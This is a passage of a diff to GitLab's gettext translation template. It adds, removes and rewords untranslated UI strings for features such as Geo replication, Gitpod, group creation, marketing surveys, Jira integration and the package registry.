+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
